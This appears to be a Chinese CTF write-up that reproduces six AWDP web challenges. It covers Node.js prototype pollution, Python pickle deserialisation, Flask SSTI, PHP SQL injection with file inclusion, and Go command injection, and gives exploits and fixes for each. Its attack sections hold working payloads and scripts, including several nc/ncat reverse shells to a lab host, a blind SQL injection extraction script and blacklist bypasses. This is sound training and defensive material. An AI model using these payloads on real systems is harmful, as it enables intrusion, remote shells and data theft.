研究生赛awdp部分web题复现

研究生赛awdp部分web题复现

战队web组组会上学长留的任务。虽然咱还不知道这个研究生赛具体是哪个比赛来着,但其中的几道web题看起来还算简单的说。原比赛是awdp形式,所以咱每道题都是直接从源码分析的漏洞,并且包含利用和缓解两个部分,解法也会尽量挑比较快并且最简单、最容易想到的来。

0x01 “imgupl0ad”

用nodejs写的一个类似于图床之类的东西。有原型链污染漏洞。

看代码

//app.js

app.post("/upload", (req, res) => {
try{
let oldPath = req.files[0].path;//["file:///app/public/flag"]
let newPath = oldPath + ".jpg";
let data = {type: "image", path: newPath};
fs.renameSync(oldPath, newPath);
merge(data, req.body);
db.push(data);
res.send(`<script>alert("upload in " + location.origin + "${newPath.slice(6)}");location="/";</script>`);
return;
}catch{
res.send("<script>alert('出错了!');location='/';</script>");
return;
}
});

上传图片用的路由。获取了请求的req.files[0]req.body,实现了从一个请求中获取上传的图片和文字描述。请求应该是form-data的形式。另外有一个可疑的merge()方法。

// merge.js

const merge = (target, source) => {
for (let key in source) {
if (key == "__proto__") {
throw new Error('Param invalid')
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

确实是原型链污染,但把__proto__的键给ban掉了。

//app.js

app.get("/rm", (req, res) => {
try{
execSync("rm -rf /app/public/upload/*");
db = [];
res.send("<script>alert('全都删完喽!');location='/';</script>")
return;
} catch{
res.send("<script>alert('出错了!');location='/';</script>");
return;
}
});

另外用来删除图片的/rm实现删除用的是child_processexecSync()方法。

攻击

虽然.__proto__不能用,但可以用等价的.constructor.prototype代替。具体用原型链污染实现RCE的原理是通过将payload放在cmdline的参数中,并用NODE_OPTIONS让程序调用cmdline,从而让程序在调用child_process时同时运行payload。污染原型链的json应该是这样:

{
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "console.log(require('child_process').execSync('{payload}').toString())//",
"shell": "/proc/self/exe"
}
}
}

由于请求是form-data的形式,直接传json没有用,需要用特殊的Content-Disposition的name字段实现注入,通过构造数组形式来让nodejs将name解析为对象的属性。所以实际的exp大概是这样的形式:

POST http://172.18.0.2/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ4hd0iiltw3Pf3I4

------WebKitFormBoundaryZ4hd0iiltw3Pf3I4
Content-Disposition: form-data; name="image"; filename="octane.txt"
Content-Type: text/plain

aaaaaaaaaaaaaaaaaaaaa
------WebKitFormBoundaryZ4hd0iiltw3Pf3I4
Content-Disposition: form-data; name="constructor[prototype][NODE_OPTIONS]"

--require /proc/self/cmdline
------WebKitFormBoundaryZ4hd0iiltw3Pf3I4
Content-Disposition: form-data; name="constructor[prototype][argv0]"

console.log(require('child_process').execSync('apt update;apt install -y ncat;ncat -e /bin/bash 172.18.0.1 8000').toString())//
------WebKitFormBoundaryZ4hd0iiltw3Pf3I4
Content-Disposition: form-data; name="constructor[prototype][shell]"

/proc/self/exe
------WebKitFormBoundaryZ4hd0iiltw3Pf3I4--

污染原型链之后,访问一下/rm。程序在执行execSync()时就会运行被咱污染的原型链中的payload,直接运行咱设置的payload反弹shell。同时也要注意原型链似乎只能污染一次,再次污染merge()就会报错,所以payload尽量一步到位。

修复

最简单的方法可以考虑直接把”proto”作为敏感词给禁掉,这样__proto__constructor.prototype都不能用了。但咱也不知道有没有别的利用链。最彻底的方法当然还是把merge()整个给改掉。

0x02 “read_article”

flask应用,但用了pickle。应该有反序列化漏洞。

看代码

@app.route('/article')
def article():
file_name = request.args.get('article_id')
if "f" in file_name:
return "what do you want?"
# 拼接文章文件的路径
file_path = f'articles/{file_name}' # 假设文章存储在名为 'articles' 的文件夹中
try:
# 尝试打开文件并读取内容
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('article.html', content=content)
except FileNotFoundError:
return "文章不存在"

首先可以看到/article有一个明显的目录遍历/文件包含漏洞。通过传article_id参数来读取任意文件,但参数过滤了字符f。

另外还有一个后门/shell01,用pickle加载客户端传入的参数。

@app.route("/shell01")
def attack():
data = request.args.get('data')
decoded_data = base64.b64decode(data.encode('utf-8'))
p = pickle.loads(decoded_data)
return render_template('form.html', res=p)

攻击

pickle随便打。exp:

import pickle, pickletools
from base64 import b64encode
import requests

class payload:
def __init__(self, rce:str): self.rce = rce
def __reduce__(self): return (eval,("__import__('os').popen('%s').read()" % self.rce,))

attack = lambda x,y: requests.request("GET", x, params={"data":b64encode(pickletools.optimize(pickle.dumps(payload(y)))).decode()}).text

if __name__ == "__main__":
while 1: print(attack("http://172.18.0.2/shell01", input())) # 优雅

修复

首先必须把万恶之源pickle给删掉。

对于目录遍历,简单用normpath()约束一下应该就没有问题了。

file_path = path.join("articles", path.normpath("/"+file_name).lstrip("/"))

0x03 “Constellation_query”

比较简单的flask框架SSTI,但ban掉了些敏感词。咱没找到直接回显的方法,就用盲注反弹shell了。

看代码

低能flask应用+典型SSTI漏洞。

# app.py
def blacklist(day):
blacklists = ["{{","print","cat","flag","nc","bash","sh","curl"] # waf
# ... ...

@app.route("/", methods=["GET", "POST"])
def index():
# ... ...
html = """
...
</form>
<p>%s月%s日出生 查询结果为%s</p>
</div>
</body>
</html>
"""
dayargs = blacklist(day)
if dayargs == True: return "检测到危险关键词,已被WAF拦截!"
try: return render_template_string(html % (int(month),day,constellation))
except ValueError:
month = 0
day = 0
return render_template_string(html % (month, day, constellation))

POST的month参数有int类型限定。但day参数可以直接被注。

blacklist函数把{{ }}print()禁掉,直接回显就比较难了。

攻击

直接往day参数注入jinja2模板的控制语句就行了。因为这道题难以直接回显,那种最基本的"".__class__.__base__.__subclasses__()[...]...payload构造方法就很难用(而且找index很麻烦),但利用if控制语句块应该也是能盲注出来的。

咱之前看到过一条比较好用的payload构造。利用flask库的request中的__builtins__function,绝大部分flask环境应该都可以直接用。一步RCE反弹shell,又快又准。

request.application.__globals__.__builtins__.__import__('os').popen("{payload}").read()

exp:

POST http://172.18.0.2:5000/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

month=1&day={% if request["applic"+"ation"].__globals__.__builtins__.__import__('os').system("n"+"c"+" -e /bin/bas"+"h 172.18.0.1 8000") %}Octane{% endif %}

直接发个POST,然后就可以用反弹过来的shell做各种操作了。

修复

把不靠谱的格式化字符串render_template_string方法改成render_template和flask模板的方法就完全不会有问题了。没啥意思。

0x04 “include_shell”

简单的php。sql注入+文件包含。

看代码

首先有个明显的SQL注入。

//login.php

// ... ...
include('admin/databases.php');
header("content-type:text/html;charset=utf-8");
$username = $_POST['username'];
$password = $_POST['password'];
// 定义SQL注入关键字的黑名单
$blacklist = array("SELECT", "INSERT", "UPDATE", "DELETE", "OR", "AND", "UNION", "ALL", "DROP", "FROM","TABLE","BASE","INFO","ASCII");
// 检测用户输入是否匹配黑名单关键字
if (preg_match("/(" . implode('|', $blacklist) . ")/i", $username) || preg_match("/(" . implode('|', $blacklist) . ")/i", $password)) {
// 如果用户名或密码包含黑名单关键字,替换黑名单关键字为空
$username = str_ireplace($blacklist, "", $username);
$password = str_ireplace($blacklist, "", $password);
$sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password'";
}else{$sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password'";}
$result = mysqli_query($link,$sql);
$num = mysqli_num_rows($result);
if($username==="admin"&&$num){
// ... ...

很简单的登陆页面SQL注入,只用str_ireplace()屏蔽了些敏感词。同时检测username是否为admin。

另外在admin管理页面的加载直接使用了include()。完全没有过滤和限制。

//admin/load_page.php

// ... ...
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {echo "缺少页面参数";}
// ... ...

攻击

构造payload时把敏感词叠起来就能绕过敏感词过滤了。可以用万能密码直接登录,也可以用简单的sql盲注脚本把数据库里的东西都注出来。

POST http://172.18.0.3/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password='oorr 1=1 #
# time-based
import requests

URL = "http://172.18.0.3/login.php"
HEADERS = {'content-type': "application/x-www-form-urlencoded"}
send_post = lambda x: requests.request("POST", URL, data="username=admin&password=%s" % x, headers=HEADERS).elapsed.total_seconds()

payload = "'OORR IF(ASASCIICII(SUBSTR((%s),%d,1))=%d,SLEEP(0.2),1) #"
subquery = "SESELECTLECT CONCAT(GROUP_CONCAT(username),';',GROUP_CONCAT(passwoorrd)) FROFROMM test.user"

def main():
for i in range(1,100):
for j in range(32,127):
if send_post(payload % (subquery,i,j))>0.2:
print(chr(j), end="")
break
if j==126: return

if __name__ == "__main__": main()

进入管理界面后就可以在load_page.php读取任意的文件。如果知道flag文件的路径就能直接读到flag,也可以用php://filter伪协议来RCE。

GET http://172.18.0.3/admin/load_page.php?page=/flag HTTP/1.1

https://github.com/synacktiv/php_filter_chain_generator

修复

//login.php,register.php

// ... ...
if (preg_match("/(" . implode('|', $blacklist) . ")/i", $username) || preg_match("/(" . implode('|', $blacklist) . ")/i", $password)) {
die("<script>alert('登录失败')</script><script>window.location.href='login.html';</script>");
}
// ... ...

最简单的方法大概就是把将敏感词替换为空再进行的做法改为匹配到敏感词就直接登录失败,再在这两个漏洞的位置多blacklist一些东西。记得login.phpregister.php都要改,admin内的应该就先不用管了。如果时间富裕,大概可以考虑把login和register的sql查询改成参数化查询的方法,更彻底一些。

0x05 “ezgo”

用go写的一个奇怪的后端api程序。据说是命令注入。

看代码

一共三个api,分别是register,login,sqlclient,分别用来新增用户、根据用户名密码token查询用户和执行sql语句。

sqlClient有执行命令的功能。大概意思是开一个sqlite3的cli,将客户端以json形式传入的sql参数作为列表,分别将列表中的语句传入sqlite3的cli进行执行,并将stderr返回给客户端。但同时要求token是admin的token,才能执行命令。

func sqlClient(c *gin.Context) {
clientBody := ClientBody{}
c.BindJSON(&clientBody)
user := &User{}
db.Where("user_name = ?", "admin").First(user)
result := ""
if clientBody.Token == user.Token {
println("success")
cmd := exec.Command("sqlite3")
// ... ...
go func() {
scanner := bufio.NewScanner(stderr)
for scanner.Scan() {
fmt.Println(scanner.Text())
result += scanner.Text()
}
}()

for _, sql := range clientBody.Sql {
fmt.Fprintln(stdin, sql)
}
// ... ...
}
c.JSON(http.StatusOK, gin.H{"msg": "交互成功", "token": clientBody.Token, "result": result})
}

再看看login。是直接用username,password,token构造一个gorm的映射类在数据库中匹配记录。但其实只要用其中一个字段匹配上,就可以返回结果。

func login(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
token := c.PostForm("token")

user := &User{}
err := db.Where(&User{UserName: username, Password: password, Token: token}).First(&user).Error
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"msg": "登录失败"})
return
}
c.JSON(http.StatusOK, gin.H{"msg": "登录成功", "user": user})
}

只传入username,就会构造出一个只有username的user映射类。把这个映射类放在Where()中,SQL语句就只会根据username匹配数据库中的行,不验证password和token。

攻击

首先可以尝试用register注册一个admin账户,如果admin账户已经存在了就直接用login查询到admin的token。

POST http://172.18.0.4:8088/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin

这样就能得到admin的token了。然后用这个token在sqlClient进行进一步的利用。

在sqlite3的cli中,用.system就能直接执行任意命令,非常简单。将命令输出从stdout重定向到stderr就可以直接在响应的result字段中回显。注意执行完命令之后还得加一个.quit退出sqlite3的cli,才能返回结果。

POST http://172.18.0.4:8088/client HTTP/1.1
Content-Type: application/json

{
"token": "baf68dd9-4d97-47f0-b930-aa0181a12f72",
"sql": [".system cat /flag 1>&2", ".quit"]
}

修复

咱对go语言不是很熟。但感觉可以从login()改,让攻击者获取不到admin的token就没什么问题了。把原先有问题的Where()从用orm的方法改为限定字段的参数化查询。

func login(c *gin.Context) {
// ... ...
err := db.Where("user_name = ? AND password = ? AND token = ?", username, password, token).First(&user).Error
// ... ...
}

重启服务之后记得先把admin给注册掉,别被别人抢注了。

0x06 “Oddly_Sordid_Command”

go语言web应用。还是命令注入。

看代码

看看figlet.go里的东西就行。别的不用管。

func Figlet(ctx flamego.Context) string {
if ctx.RemoteAddr() != "127.0.0.1" {
return "You are not allowed to access this page"
}
str := ctx.Query("str")
if !Waf(str) {
str = "Give up"
}
cmd, _ := exec.Command("sh", "-c", "figlet "+str).Output()
println(string(cmd))
return string(cmd)
}

func Waf(str string) bool {
blacklist := []string{"&", ">", "<", "'", "+", "`", "'", "\"", "(", ")", "[", "]", "*", "\\", "fffff111114g", "cat", "tac", "cd", "ls", "echo", "dir"}
for _, v := range blacklist {
if strings.Contains(str, v) {
return false
}
}
return true
}

主要有一个对RemoteAddr()的检测和敏感词过滤。然后就把输入直接传到shell里执行了…

攻击

对于RemoteAddr(),加个X-Forwarded-For就可以绕过。

在传入的str最后面加个分号(%3b)就可以注入额外的命令了。blacklist里有个”fffff111114g”,猜想这是flag文件名。用head或者tail就能读出来。文件名用问号通配一下就能绕过。

GET http://172.18.0.5/figlet?str=a%3btail+/fffff111114? HTTP/1.1
X-Forwarded-For: 127.0.0.1

当然也可以用nc反弹shell

GET http://172.18.0.5/figlet?str=a%3bnc+-e+/bin/bash+172.18.0.1+8000 HTTP/1.1
X-Forwarded-For: 127.0.0.1

修复

想不到啥好的修复办法。还是在blacklist里多加点东西吧。

评论